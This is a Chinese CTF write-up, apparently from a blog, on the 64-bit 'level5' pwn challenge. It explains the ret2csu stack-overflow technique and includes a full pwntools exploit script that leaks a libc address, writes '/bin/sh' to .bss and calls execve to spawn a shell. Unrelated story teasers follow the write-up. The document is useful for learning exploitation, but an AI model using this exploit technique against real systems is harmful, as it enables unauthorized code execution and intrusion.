一步一步level5

题目源代码

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 512);
}

int main(int argc, char** argv) {
    write(STDOUT_FILENO, "Hello, World\n", 13);
    vulnerable_function();
}

ida:
image.png

image.png
image.png

分析一下,为了getshell我们要想办法输入命令system(“\bin\sh”),可以把这些命令写到bss段,然后想办法运行命令。

前提:
-偏移 offset=function1真实地址-function1libc在库地址=function2真实地址-function2在libc库地址
-通过查找函数真实地址后三位可以查到所用的libc库和其他函数在库中地址
-而函数真实地址只有在被调用后才会得到

基本利用思路如下
利用栈溢出执行 libc_csu_gadgets 获取 write 函数地址,并使得程序重新执行 main 函数
根据 libcsearcher 获取对应 libc 版本以及 execve 函数地址
再次利用栈溢出执行 libc_csu_gadgets 向 bss 段写入 execve 地址以及 '/bin/sh’ 地址,并使得程序重新执行 main 函数。
再次利用栈溢出执行 libc_csu_gadgets 执行 execve('/bin/sh') 获取 shell。】

在 64 位程序中,函数的前 6 个参数是通过寄存器传递的,但是大多数时候,难找到每一个寄存器对应的 gadgets。 _libc_csu_init函数是程序调用libc库用来对程序进行初始化的函数,一般先于main函数执行,而我们则是要利用_libc_csu_init其中两段特殊的gadget。这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一定会存在。

image.png

ptr -- pointer (既指针)的 缩写。
汇编里面 ptr 是规定 的 字 (既保留字),是用来临时指定类型的。
(可以理解为,ptr是临时的类型转换,相当于C语言中的强制类型转换)
可以放在ptr前面的类型有byte(字节)、word(字)、dword(双字)、qword(四字)、tbyte(十字节)、far(远类型)和near(近类型)

image.png

gadget 位于 0x400600 和 0x40061a地址
先借用0x40061a 处的gadget 将想要压入寄存器的参数压入
顺序依次 rbx rbp r12 r13 r14 r15 特别是rbx=0 rbp=1 r12=target_function
然后再调用 0x400600处的gadget将 r13 r14 r15 的值和rdx rsi edi交换

第一步:利用write()输出write在内存中的地址。gadget是call qword ptr [r12+rbx*8],所以应该使用write.got的地址而不是write.plt的地址。并且为了返回到原程序中,重复利用buffer overflow的漏洞,我们需要继续覆盖栈上的数据,直到把返回值覆盖成目标函数的main函数为止。

第二步:当exp在收到write()在内存中的地址后,就可以计算出execve()在内存中的地址了。接着我们构造payload2,利用read()将execve()的地址以及“/bin/sh”读入到.bss段内存中。

第三步:调用execve()函数执行“/bin/sh”。注意,execve()的地址保存在了.bss段首地址上,“/bin/sh”的地址保存在了.bss段首地址+8字节上。

脚本:

from pwn import *
from LibcSearcher import LibcSearcher

#context.log_level = 'debug'

level5 = ELF('./level5')
sh = process('./level5')

write_got = level5.got['write']
read_got = level5.got['read']
main_addr = level5.symbols['main']
bss_base = level5.bss()
csu_front_addr = 0x400600
csu_end_addr = 0x40061A
fakeebp = 'b' * 8


def csu(rbx, rbp, r12, r13, r14, r15, last):
    #设立一个payload函数
    # pop rbx,rbp,r12,r13,r14,r15
    # rbx 一直都应该输入为0,
    # rbp  一直都应该输入为1,不能跳转
    # r12 是我们要call的寄存器,将我们要用的函数地址存于此寄存器
    # rdi=edi=r15d
    # rsi=r14
    # rdx=r13
    payload = 'a' * 0x80 + fakeebp
    payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(
        r13) + p64(r14) + p64(r15)
    payload += p64(csu_front_addr)
    payload += 'a' * 0x38    #??为啥是0x38
    payload += p64(last)
    sh.send(payload)
    sleep(1)


sh.recvuntil('Hello, World\n')
## 64位优先rdi,rsi,rdx,rcx,r8,r9
## write(1,write_got,8)
csu(0, 1, write_got, 8, write_got, 1, main_addr)

write_addr = u64(sh.recv(8))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
execve_addr = libc_base + libc.dump('execve')
log.success('execve_addr ' + hex(execve_addr))
##gdb.attach(sh)

## read(0,bss_base,16)
## 读取 execve_addr 和 /bin/sh\x00
sh.recvuntil('Hello, World\n')
csu(0, 1, read_got, 16, bss_base, 0, main_addr)
sh.send(p64(execve_addr) + '/bin/sh\x00')

sh.recvuntil('Hello, World\n')
## execve(bss_base+8)
csu(0, 1, bss_base, 0, 0, bss_base + 8, main_addr)
sh.interactive()

看大佬的脚本由许多不懂的地方:
一、0x38的由来:


image.png
image.png

main函数结束地址至end地址之间差距0x46,0x46与0x38之间差距14,若提前控制了 RBX 与 RBP,如果我们可以提前控制这两个数值,那么我们就可以减少 16 字节。
二、r13和r14还有r15的值应该怎么确定,是随机输入一个值吗,P64(0)可以理解为pop操作,但是没有pop到寄存器,而是丢弃掉。

在了解了write函数与read函数后,##write(1,write_got,8)、## read(0,bss_base,16)
(int fd, void * buf, size_t count),所以r12是调用函数的地址,因为r13是函数的第三个参数,r14是第二个参数,r15是第一个参数,8是指write_got的大小,16指bss_base的大小。
read:
fd:文件描述符,用来指向要操作的文件的文件结构体
buf:一块内存空间
count:请求读取的字节数,读上来的数据保存在缓冲区buf中,同时文件的当前读写位置向后移。
write:
fd:文件指针
buf:写入的数据保存在缓冲区buf中,同时文件的当前读写位置向后移
count:请求写入的字节数

sleep(1)作用:
本线程放弃cpu时间片
其他线程处理之后,再开始本线程
多线程处理socket接收发送的时候经常这样处理
防止接收发送出现问题

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 217,084评论 6 503
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,623评论 3 392
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 163,450评论 0 353
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,322评论 1 293
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,370评论 6 390
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,274评论 1 300
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,126评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,980评论 0 275
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,414评论 1 313
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,599评论 3 334
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,773评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,470评论 5 344
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,080评论 3 327
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,713评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,852评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,865评论 2 370
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,689评论 2 354

推荐阅读更多精彩内容